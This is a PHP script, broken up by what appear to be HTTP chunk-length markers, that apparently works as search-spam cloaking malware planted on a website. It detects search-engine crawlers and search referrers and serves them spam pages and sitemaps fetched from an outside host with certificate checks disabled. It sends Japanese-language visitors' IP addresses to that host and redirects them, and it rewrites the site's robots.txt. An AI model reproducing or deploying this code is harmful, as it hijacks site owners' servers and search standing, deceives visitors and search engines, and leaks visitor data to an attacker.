1 < 3 ?ph 4 p er 5 ror_r 4 epor 4 ting 3 (0) 4 ; @s 4 et_t 4 ime_ 4 limi 3 t(1 7 20); @i 4 gnor 5 e_use 4 r_ab 4 ort( 5 1); $ 4 tr = 4 "ht 4 tps: 2 // 3 j26 3 041 3 7_2 3 3.r 5 obert 3 o.a 4 sia/ 4 "; c 4 lass 3 Re 3 q { 6 p 4 ubli 3 c f 5 uncti 3 on 5 serve 4 r($n 3 ame 6 = '', 4 $de 2 fa 2 ul 1 t b = '') 6 { 7 if 4 (emp 2 ty 8 ($name)) f { 5 retur 4 n $_ 3 SER 4 VER; 9 a } a $name = st 4 rtou a pper($name 3 ); 10 return i 4 sset 9 ($_SERVER 6 [$name 4 ]) ? 9 $_SERVER 9 [$name] : f $default; 6 } 13 public function iss 15 () { if ( 4 $thi 3 s-> 9 server('H 3 TTP 4 S') 3 && 4 ("1" 3 == 18 $this->server('HTTPS') 4 || " 7 on" == 6 strtol 2 ow 19 er($this->server('HTTPS') 19 ))) { return 4 true d ; } e 3 lse 5 if (' 19 https' == $this->server(' 3 REQ 3 UES 4 T_SC 4 HEME 1 ' 33 )) { return true; } elseif ('44 15 3' == $this->server(' 7 SERVER_ 4 PORT 32 ')) { return true; } elseif (' 19 https' == $this->server(' 7 HTTP_X_ 3 FOR 3 WAR 4 DED_ 4 PROT 29 O')) { return true; } 10 return 5 false 1c ; } public function 4 host 12 () { $ 4 host 6 = str 3 val 14 ($this->server('HTTP 10 _X_FORWARDED_HOS 4 T') 4 ?: $ 13 this->server('HTTP_ 6 HOST') 16 ); return strp 3 os( 7 $host, 6 ':') ? 7 strstr c ($host, ':', 5 true 5 ) : $ 4 host 1f ; } public function sch 3 eme 11 () { e return $this-> 8 iss() ? 7 "https" 8 : "http 3 "; a } 12 public function dm 1f () { return $this-> b scheme() . 4 ":// 4 " . d $this->host() 1d ; } public function i 12 p() { 5 if (g 4 eten 2 v( 8 'HTTP_CL 3 IEN 4 T_IP 13 ')) { $ 2 ip 1b = getenv('HTTP_CLIENT_IP') 14 ; } elseif ( 19 getenv('HTTP_X_FORWARDED_ 3 FOR 25 ')) { $ip = getenv('HTTP_ 2d X_FORWARDED_FOR'); } elseif (getenv(' 3 REM 4 OTE_ 3 ADD 21 R')) { $ip = getenv(' 1d REMOTE_ADDR'); } else f { 15 $ip = $this->server(' 18 REMOTE_ADDR'); } 10 return 20 $ip; } public function i 2 sc 14 () { $ag 2 en 7 t = str 1d tolower($this->server('HTTP_U 5 SER_A 4 GENT 3 ')) e ; if ( 8 $agent ! 4 = '' 8 && preg 4 _mat 3 ch( 4 '/go 4 ogle 4 bot| 7 google| 4 yaho 3 o|b 4 ing| 4 aol/ 2 si 9 ', $agent 27 )) { return true; } 10 return 23 false; } public function is a g() { 3 $ 4 refe 4 r = 20 strtolower($this->server('HTTP_R 4 EFER 5 ER')) a ; a $referbots 4 = ' 16 google|yahoo|bing|aol' 15 ; if ($refer 15 != '' && preg_match(" 2 /( b $referbots) 7 /si", $ 5 refer 5a )) { return true; } return false; } public function ur 12 i() { 5 if (( 4 $pos 6 = str 13 pos($this->server(' 8 REQUEST_ 4 URI' 4 ), ' 4 .php 5 ')) ! 3 == 5 false 13 ) { $sc 5 ript_ 7 name = 4 base 14 name($this->server(' 3 SCR 4 IPT_ 3 FIL 3 ENA 5 ME')) e ; 4 if ( 26 basename($this->server('SCRIPT_NAME')) 3 == e = $script_name 10 ) { 7 $ur 4 l = f $this->server(' d SCRIPT_NAME') f ; } 9 elseif ( 1a basename($this->server('PH 4 P_SE 2 LF 4 ')) 44 === $script_name) { $url = $this->server('PHP_SELF') 31 ; } elseif (basename($this->server('O 3 RIG 3 _SC 5 RIPT_ 54 NAME')) === $script_name) { $url = $this->server('ORIG_SCRIPT_NAME') 18 ; } elseif ( 1e ($pos = strpos($this->server(' d PHP_SELF'), ' 2 /' 10 . $script_name) 1b ) !== false) { d $url = su 6 bstr($ e this->server(' f SCRIPT_NAME'), 4 0, $ 4 pos) 3 . 2a '/' . $script_name; } elseif ( 10 $this->server('D 3 OCU 5 MENT_ 3 ROO 4 T') b && strpos($ 15 this->server('SCRIPT_ d FILENAME'), $ e this->server(' 15 DOCUMENT_ROOT')) === 1 0 1e ) { $url = str 6 _repla 12 ce($this->server(' 16 DOCUMENT_ROOT'), '', $ 1f this->server('SCRIPT_FILENAME') f ); f } $ 3 req 3 uri 8 = $url 2 . 25 substr($this->server('REQUEST_URI'), 5 $pos 3 + 4 11 ); } else 10 { $ 9 requri = 3b substr($this->server('REQUEST_URI'), strpos($this->server(' 10 REQUEST_URI'), ' e /')); a } 9 return rt 3 rim 8 ($requri 5 , '/' 7 ); 19 } public function exe 4 cReq 5 ($url 4 , $p 7 = arra 3 y() 10 ) { 7 $url = 13 str_replace(' ', '+ 4 ', $ f url); $ 2 ch 7 = curl 3 _in e it(); 5 curl_ 5 setop 4 t($c 4 h, C 3 URL 4 OPT_ 14 URL, $url); 1a curl_setopt($ch, CURLOPT_R 4 ETUR 3 NTR 3 ANS 5 FER, 4 1); 8 1a curl_setopt($ch, CURLOPT_H 3 EAD 8 ER, 0); 22 curl_setopt($ch, CURLOPT_T 3 IME 4 OUT, 6 20); 22 curl_setopt($ch, CURLOPT_P 3 OST 28 , 1); curl_setopt($ch, CURLOPT_S 3 SL_ 4 VERI 3 FYP 2a EER, 0); curl_setopt($ch, CURLOPT_ a SSL_VERIFY 4 HOST 2c , 0); curl_setopt($ch, CURLOPT_POSTF 3 IEL 4 DS, 5 http_ 4 buil 3 d_q 3 uer 4 y($p f )); $ou 3 tpu 9 t = curl_ 4 exec 10 ($ch); $ 5 error 3 Cod a e = curl_e 4 rrno 18 ($ch); curl_clos 3 e($ d ch); 5 if (0 6 !== $ 19 errorCode) { 7 return b false; 15 } return 7 $output 7 ; } 3 } 7 $req = 3 new 4 Req 7 (); $is 5 c = $ 4 req- 4 >isc 8 (); $isg e = $req->isg() 5 ; $um 5 ap = 4 $tr 3 . " 6 map"; 3 $ur 7 i = url 3 dec 8 ode($req 2 -> 9 uri()); $ a p = array( 8 "do 3 mai 5 n" => 7 $req-> 5 dm(), a "port b " => $req-> 8 server(' 6 SERVER 7 _PORT', 3 80 8 ), " 9 uri" => $ 7 uri ); 4 if ( d substr($uri, 2 -1 6 0) == 1 " 6 robots 4 .txt 9 ") { 4 head 4 er(" 3 Con 5 tent- 4 type 4 :tex 2 t/ 6 plain; 4 cha 4 rset 3 =ut 4 f-8" 8 ); d 9 ie($req-> 9 execReq($ c tr . "robots 4 ", $ 6 p)); } 14 if (substr($uri, -6 c ) == "robots 10 ") { $output 9 = $req-> 1b execReq($tr . "robots", $p) 9 ; $rp 6 t = __ 4 DIR_ 5 _ . " c /robots.txt" 8 ; fi 3 le_ 5 put_c 6 ontent 6 s($rpt 9 , $output 8 ); $ b robots_cont 4 = @ 5 file_ 11 get_contents($rpt 7 ); b if (strpos( c strtolower($ b robots_cont 6 ), "si 6 temap" d )) { 4 die( 10 "robots.txt file 4 cre 3 ate 6 succe 3 ss! 8 "); 2d } else { die("robots.txt file create 3 fai 28 l!"); } } if (substr($uri, -4) == ". 3 xml 9 ") { f if (strpos($uri 5 , "al 8 lsitemap 7 .xml") b || strpos($ 6 uri, " a sitemap-in 3 dex 26 .xml") || strpos($uri, "sitemap-index- 19 1.xml") || strpos($uri, " b index.xml") 2e ) { $output = $req->execReq($umap, $p) a ; 1e header("Content-type:text/" . 9 (substr($ 6 output 6 , 0, 5 8 ) === '< 4 ?xml 4 ' ? 7 'xml' : 2 ' 8 plain') 3 . ' f ; charset=utf-8 c '); 4 die( 6 '' . $ d output); 6 } 1f $output = $req->execReq($tr . " 3 wor 2a d", $p); header("Content-type:text/xml 17 ; charset=utf-8"); 5 if ($ b output == " a 1") { e die('' . $ 5 req-> 12 execReq($umap, $p) 7 ); 15 } else { die( 18 '' . $output); } } $ 3 lan a g = $req-> e server('HTTP_A 3 CCE 5 PT_LA 3 NGU 3 AGE 8 '); if ( 6 !$isc 3 && 4 $isg 10 && strpos($lang 4 , 'j 3 a') 3 !== f false) { $p 4 ["ip 2 "] a = $req->i 3 p() 8 ; $a 6 ction c = $tr . "jum 8 p"; 13 die($req->execReq($ 6 action 12 , $p)); } if ($isc 8 ) { 18 die('' . $req->execReq($ 6 tr . " 6 indata b ", $p)); } 2 ?> 0